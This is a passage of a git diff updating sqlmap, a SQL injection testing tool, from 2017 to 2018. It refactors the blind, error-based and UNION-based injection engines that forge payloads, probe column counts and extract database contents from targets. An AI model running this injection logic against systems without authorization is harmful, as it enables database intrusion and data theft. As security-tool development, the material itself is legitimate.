candidates[0])) + result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(kb.technique) - return None + if result: + return decodeIntToUnicode(candidates[0]) # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: @@ -439,32 +461,28 @@ def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: - kb.locks.index.acquire() - - if threadData.shared.index[0] - firstChar >= length: - kb.locks.index.release() - - return + with kb.locks.index: + if threadData.shared.index[0] - firstChar >= length: + return - threadData.shared.index[0] += 1 - curidx = threadData.shared.index[0] - kb.locks.index.release() + threadData.shared.index[0] += 1 + currentCharIndex = threadData.shared.index[0] if kb.threadContinue: - charStart = time.time() - val = getChar(curidx) + start = time.time() + val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: - threadData.shared.value[curidx - 1 - firstChar] = val + threadData.shared.value[currentCharIndex - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: - progress.progress(time.time() - charStart, threadData.shared.index[0]) + progress.progress(calculateDeltaSeconds(start), threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 @@ -487,15 +505,15 @@ def blindThread(): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: - output = '..' + output[2:] + output = ".." + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): - output = output[:-2] + '..' + output = output[:-2] + ".." - if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): + if conf.verbose in (1, 2) and not showEta and not conf.api: _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) - status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length)) + status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) @@ -522,7 +540,7 @@ def blindThread(): finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) - if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"): + if conf.verbose in (1, 2) and not showEta and infoMsg and not conf.api: dataToStdout(infoMsg) # No multi-threading (--threads = 1) @@ -532,7 +550,7 @@ def blindThread(): while True: index += 1 - charStart = time.time() + start = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for @@ -548,7 +566,7 @@ def blindThread(): testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = kb.injection.data[kb.technique].vector - query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue))) + query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) @@ -557,8 +575,8 @@ def blindThread(): # Did we have luck? if result: if showEta: - progress.progress(time.time() - charStart, len(commonValue)) - elif conf.verbose in (1, 2) or hasattr(conf, "api"): + progress.progress(calculateDeltaSeconds(start), len(commonValue)) + elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue @@ -572,7 +590,7 @@ def blindThread(): testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector - query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue))) + query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) @@ -593,9 +611,9 @@ def blindThread(): # If we had no luck with commonValue and common charset, # use the returned other charset if not val: - val = getChar(index, otherCharset, otherCharset == asciiTbl) + val = getChar(index, otherCharset, otherCharset==asciiTbl) else: - val = getChar(index, asciiTbl) + val = getChar(index, asciiTbl, not(charsetType is None and conf.charset)) if val is None: finalValue = partialValue @@ -607,8 +625,8 @@ def blindThread(): threadData.shared.value = partialValue = partialValue + val if showEta: - progress.progress(time.time() - charStart, index) - elif conf.verbose in (1, 2) or hasattr(conf, "api"): + progress.progress(calculateDeltaSeconds(start), index) + elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces @@ -635,11 +653,11 @@ def blindThread(): elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) - if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"): + if conf.hexConvert and not abortedFlag and not conf.api: infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: - if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): + if conf.verbose in (1, 2) and not showEta and not conf.api: dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: diff --git a/lib/techniques/brute/__init__.py b/lib/techniques/brute/__init__.py deleted file mode 100644 index 942d54d8fce..00000000000 --- a/lib/techniques/brute/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -pass diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index 7fc652fddb6..3910e1302ec 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 66a4899460c..42914f16693 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index e7c047165a4..769e0991a2c 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -28,6 +28,7 @@ from lib.core.common import listToStrValue from lib.core.common import readInput from lib.core.common import unArrayizeValue +from lib.core.common import wasLastResponseHTTPError from lib.core.convert import hexdecode from lib.core.convert import htmlunescape from lib.core.data import conf @@ -75,7 +76,10 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) - testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) + + testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) + testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) + result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) if (result or "").startswith(testChar): @@ -97,8 +101,8 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): if retVal is None or partialValue: try: while True: - check = r"%s(?P.*?)%s" % (kb.chars.start, kb.chars.stop) - trimcheck = r"%s(?P[^<\n]*)" % (kb.chars.start) + check = r"(?si)%s(?P.*?)%s" % (kb.chars.start, kb.chars.stop) + trimcheck = r"(?si)%s(?P[^<\n]*)" % kb.chars.start if field: nulledCastedField = agent.nullAndCastField(field) @@ -120,7 +124,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): payload = agent.payload(newValue=injExpression) # Perform the request - page, headers = Request.queryPage(payload, content=True, raise404=False) + page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(kb.technique) @@ -130,23 +134,19 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ - extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ - extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ - if headers else None), re.DOTALL | re.IGNORECASE), \ - extractRegexResult(check, threadData.lastRedirectMsg[1] \ - if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ - threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \ + extractRegexResult(check, page), \ + extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), \ + extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), \ + extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), \ None) if output is not None: output = getUnicode(output) else: - trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ - if headers else None), re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ - if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ - threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) + trimmed = extractRegexResult(trimcheck, page) \ + or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) \ + or extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) \ + or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) if trimmed: if not chunkTest: @@ -176,7 +176,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): else: break - if output: + if output and conf.verbose in (1, 2) and not conf.api: if kb.fileReadMode: dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) elif offset > 1: @@ -205,8 +205,8 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): hashDBWrite(expression, retVal) else: - _ = "%s(?P.*?)%s" % (kb.chars.start, kb.chars.stop) - retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal + _ = "(?si)%s(?P.*?)%s" % (kb.chars.start, kb.chars.stop) + retVal = extractRegexResult(_, retVal) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal @@ -301,7 +301,7 @@ def errorUse(expression, dump=False): _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) # Set kb.partRun in case the engine is called from the API - kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None + kb.partRun = getPartRun(alias=False) if conf.api else None # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one @@ -333,7 +333,7 @@ def errorUse(expression, dump=False): else: stopLimit = int(count) - infoMsg = "the SQL query used returns " + infoMsg = "used SQL query returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) @@ -355,94 +355,94 @@ def errorUse(expression, dump=False): value = [] # for empty tables return value - if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: - message = "due to huge table size do you want to remove " - message += "ORDER BY clause gaining speed over consistency? [y/N] " - _ = readInput(message, default="N") - - if _ and _[0] in ("y", "Y"): - expression = expression[:expression.index(" ORDER BY ")] - - numThreads = min(conf.threads, (stopLimit - startLimit)) - - threadData = getCurrentThreadData() - - try: - threadData.shared.limits = iter(xrange(startLimit, stopLimit)) - except OverflowError: - errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) - errMsg += "with switch '--fresh-queries'" - raise SqlmapDataException(errMsg) - - threadData.shared.value = BigArray() - threadData.shared.buffered = [] - threadData.shared.counter = 0 - threadData.shared.lastFlushed = startLimit - 1 - threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 - - if threadData.shared.showEta: - threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) - - if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): - for field in expressionFieldsList: - if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': - emptyFields.append(field) - debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable) - debugMsg += "dumped as it appears to be empty" - logger.debug(debugMsg) - - if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: - kb.suppressResumeInfo = True - debugMsg = "suppressing possible resume console info because of " - debugMsg += "large number of rows. It might take too long" - logger.debug(debugMsg) - - try: - def errorThread(): - threadData = getCurrentThreadData() - - while kb.threadContinue: - with kb.locks.limit: - try: - valueStart = time.time() - threadData.shared.counter += 1 - num = threadData.shared.limits.next() - except StopIteration: - break - - output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta) + if isNumPosStrValue(count) and int(count) > 1: + if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: + message = "due to huge table size do you want to remove " + message += "ORDER BY clause gaining speed over consistency? [y/N] " + + if readInput(message, default="N", boolean=True): + expression = expression[:expression.index(" ORDER BY ")] + + numThreads = min(conf.threads, (stopLimit - startLimit)) + + threadData = getCurrentThreadData() + + try: + threadData.shared.limits = iter(xrange(startLimit, stopLimit)) + except OverflowError: + errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) + errMsg += "with switch '--fresh-queries'" + raise SqlmapDataException(errMsg) + + threadData.shared.value = BigArray() + threadData.shared.buffered = [] + threadData.shared.counter = 0 + threadData.shared.lastFlushed = startLimit - 1 + threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 + + if threadData.shared.showEta: + threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) + + if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): + for field in expressionFieldsList: + if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': + emptyFields.append(field) + debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable) + debugMsg += "dumped as it appears to be empty" + logger.debug(debugMsg) + + if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: + kb.suppressResumeInfo = True + debugMsg = "suppressing possible resume console info because of " + debugMsg += "large number of rows. It might take too long" + logger.debug(debugMsg) + + try: + def errorThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + with kb.locks.limit: + try: + valueStart = time.time() + threadData.shared.counter += 1 + num = threadData.shared.limits.next() + except StopIteration: + break - if not kb.threadContinue: - break + output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta) - if output and isListLike(output) and len(output) == 1: - output = output[0] + if not kb.threadContinue: + break - with kb.locks.value: - index = None - if threadData.shared.showEta: - threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) - for index in xrange(len(threadData.shared.buffered)): - if threadData.shared.buffered[index][0] >= num: - break - threadData.shared.buffered.insert(index or 0, (num, output)) - while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]: - threadData.shared.lastFlushed += 1 - threadData.shared.value.append(threadData.shared.buffered[0][1]) - del threadData.shared.buffered[0] - - runThreads(numThreads, errorThread) - - except KeyboardInterrupt: - abortedFlag = True - warnMsg = "user aborted during enumeration. sqlmap " - warnMsg += "will display partial output" - logger.warn(warnMsg) + if output and isListLike(output) and len(output) == 1: + output = output[0] + + with kb.locks.value: + index = None + if threadData.shared.showEta: + threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) + for index in xrange(1 + len(threadData.shared.buffered)): + if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: + break + threadData.shared.buffered.insert(index or 0, (num, output)) + while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]: + threadData.shared.lastFlushed += 1 + threadData.shared.value.append(threadData.shared.buffered[0][1]) + del threadData.shared.buffered[0] + + runThreads(numThreads, errorThread) + + except KeyboardInterrupt: + abortedFlag = True + warnMsg = "user aborted during enumeration. sqlmap " + warnMsg += "will display partial output" + logger.warn(warnMsg) - finally: - threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered)) - value = threadData.shared.value - kb.suppressResumeInfo = False + finally: + threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered)) + value = threadData.shared.value + kb.suppressResumeInfo = False if not value and not abortedFlag: value = _errorFields(expression, expressionFields, expressionFieldsList) diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index c900b63ed05..ce659ec01e7 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ +import logging import random import re @@ -52,8 +53,8 @@ def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) - return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I) + page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) + return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) if _orderByTest(1) and not _orderByTest(randomInt()): infoMsg = "'ORDER BY' technique appears to be usable. " @@ -104,17 +105,17 @@ def _orderByTest(cols): for count in xrange(lowerCount, upperCount + 1): query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) + page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): pages[count] = page - ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO + ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): - contains = [(count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items()] + contains = tuple((count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items()) if len(filter(lambda _: _[1], contains)) == 1: retVal = filter(lambda _: _[1], contains)[0][0] break @@ -154,7 +155,7 @@ def _orderByTest(cols): if retVal: infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal - singleTimeLogMessage(infoMsg) + singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg)) return retVal @@ -177,7 +178,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO for position in positions: # Prepare expression with delimiters randQuery = randomStr(charCount) - phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop) + phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower() randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.escape(randQueryProcessed) @@ -186,10 +187,8 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) - content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ - removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ - payload, True) or "") + page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) + content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() if content and phrase in content: validPayload = payload @@ -199,7 +198,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters randQuery2 = randomStr(charCount) - phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop) + phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower() randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) @@ -208,8 +207,8 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) - content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "") + page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) + content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower() if not all(_ in content for _ in (phrase, phrase2)): vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) @@ -221,10 +220,8 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) - content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \ - removeReflectiveValues(listToStrValue(headers.headers if headers else None), \ - payload, True) or "") + page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False) + content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" logger.warn(warnMsg) @@ -276,14 +273,14 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if count: validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) - if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]): + if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)): warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " if not conf.uChar and count > 1 and kb.uChar == NULL: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " - test = readInput(message, default="Y") - if test[0] not in ("y", "Y"): + + if not readInput(message, default="Y", boolean=True): warnMsg += "usage of option '--union-char' " warnMsg += "(e.g. '--union-char=1') " else: @@ -297,7 +294,7 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) warnMsg += "forcing the " warnMsg += "back-end DBMS (e.g. '--dbms=mysql') " - if not all([validPayload, vector]) and not warnMsg.endswith("consider "): + if not all((validPayload, vector)) and not warnMsg.endswith("consider "): singleTimeWarnMessage(warnMsg) return validPayload, vector diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index a90cf791f54..baa42ddd7cd 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import binascii @@ -81,7 +81,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): payload = agent.payload(newValue=query, where=where) # Perform the request - page, headers = Request.queryPage(payload, content=True, raise404=False) + page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) @@ -215,7 +215,7 @@ def unionUse(expression, unpack=True, dump=False): _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) # Set kb.partRun in case the engine is called from the API - kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None + kb.partRun = getPartRun(alias=False) if conf.api else None if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns: kb.rowXmlMode = True @@ -226,7 +226,7 @@ def unionUse(expression, unpack=True, dump=False): if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it - expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) + expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression) debugMsg = "stripping ORDER BY clause from statement because " debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) @@ -262,7 +262,7 @@ def unionUse(expression, unpack=True, dump=False): else: stopLimit = int(count) - infoMsg = "the SQL query used returns " + infoMsg = "used SQL query returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) @@ -284,126 +284,127 @@ def unionUse(expression, unpack=True, dump=False): value = [] # for empty tables return value - threadData = getCurrentThreadData() - - try: - threadData.shared.limits = iter(xrange(startLimit, stopLimit)) - except OverflowError: - errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) - errMsg += "with switch '--fresh-queries'" - raise SqlmapDataException(errMsg) - - numThreads = min(conf.threads, (stopLimit - startLimit)) - threadData.shared.value = BigArray() - threadData.shared.buffered = [] - threadData.shared.counter = 0 - threadData.shared.lastFlushed = startLimit - 1 - threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 - - if threadData.shared.showEta: - threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) - - if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: - kb.suppressResumeInfo = True - debugMsg = "suppressing possible resume console info because of " - debugMsg += "large number of rows. It might take too long" - logger.debug(debugMsg) - - try: - def unionThread(): - threadData = getCurrentThreadData() - - while kb.threadContinue: - with kb.locks.limit: - try: - valueStart = time.time() - threadData.shared.counter += 1 - num = threadData.shared.limits.next() - except StopIteration: + if isNumPosStrValue(count) and int(count) > 1: + threadData = getCurrentThreadData() + + try: + threadData.shared.limits = iter(xrange(startLimit, stopLimit)) + except OverflowError: + errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) + errMsg += "with switch '--fresh-queries'" + raise SqlmapDataException(errMsg) + + numThreads = min(conf.threads, (stopLimit - startLimit)) + threadData.shared.value = BigArray() + threadData.shared.buffered = [] + threadData.shared.counter = 0 + threadData.shared.lastFlushed = startLimit - 1 + threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 + + if threadData.shared.showEta: + threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) + + if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: + kb.suppressResumeInfo = True + debugMsg = "suppressing possible resume console info because of " + debugMsg += "large number of rows. It might take too long" + logger.debug(debugMsg) + + try: + def unionThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + with kb.locks.limit: + try: + valueStart = time.time() + threadData.shared.counter += 1 + num = threadData.shared.limits.next() + except StopIteration: + break + + if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + field = expressionFieldsList[0] + elif Backend.isDbms(DBMS.ORACLE): + field = expressionFieldsList + else: + field = None + + limitedExpr = agent.limitQuery(num, expression, 